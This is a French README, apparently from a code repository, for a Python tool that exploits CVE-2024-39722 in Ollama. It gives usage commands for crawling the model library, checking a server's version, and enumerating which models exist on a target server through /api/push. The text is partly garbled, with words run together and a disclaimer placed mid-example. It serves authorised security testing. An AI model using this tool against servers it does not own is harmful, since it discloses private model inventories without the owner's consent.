
Cet outil est conçu pour exploiter CVE-2024-39722, une vulnérabilité de divulgation de l'existence de modèles dans les versions d'Ollama jusqu'à la 0.1.45 incluse. Il permet aux utilisateurs de vérifier si un serveur Ollama est vulnérable et de tenter de découvrir les modèles existants sur le serveur. De plus, il peut parcourir la bibliothèque officielle de modèles Ollama pour générer une liste de modèles potentiels à tester. 中文
/api/push, un attaquant peut déterminer si un modèle spécifique (y compris les modèles personnalisés absents de la bibliothèque publique) existe sur le serveur.https://ollama.com/library).requestslxmltermcolorCVE_2024_39722.py.pip install requests lxml termcolor
python CVE_2024_39722.py [options]
-h, --help : Affiche le message d'aide et quitte.-u URL, --url URL : URL du serveur Ollama cible (par exemple, http://localhost:11434).-c, --crawl : Parcourt la bibliothèque de modèles Ollama et les enregistre dans links.json.-o OUTPUT, --output OUTPUT : Fichier de sortie pour les résultats (par défaut : results.json).-t THREADS, --threads THREADS : Nombre de threads à utiliser pour l'exploitation (par défaut : 10).-v, --version-check : Vérifie uniquement si le serveur Ollama cible est vulnérable en fonction de sa version.Afficher l'aide :
python CVE_2024_39722.py -h
Parcourir la bibliothèque de modèles Ollama :
Cela récupérera les noms de modèles depuis https://ollama.com/library et les enregistrera dans links.json.
python CVE_2024_39722.py --crawl
Vérifier si un serveur cible est vulnérable :
python CVE_2024_39722.py -u http://localhost:11434 --version-check
Exploiter un serveur cible :
Cela vérifiera d'abord la version du serveur. S'il est vulnérable, il utilisera le fichier links.json (le parcourra s'il n'est pas présent ou utilisera l'existant) pour tester l'existence des modèles.
python CVE_2024_39722.py -u http://localhost:11434
Exploiter avec un nombre spécifique de threads :
python CVE_2024_39722.py -u http://localhost:11434 -t 20
Exploiter et enregistrer les résultats dans un fichier personnalisé :
Cet outil est destiné uniquement à des fins éducatives et de tests de sécurité autorisés. Ne l'utilisez pas sur un système sans l'autorisation explicite de son propriétaire. L'auteur n'est pas responsable de toute utilisation abusive ou de tout dommage causé par cet outil.
python CVE_2024_39722.py -u http://localhost:11434 -o discovered_models.json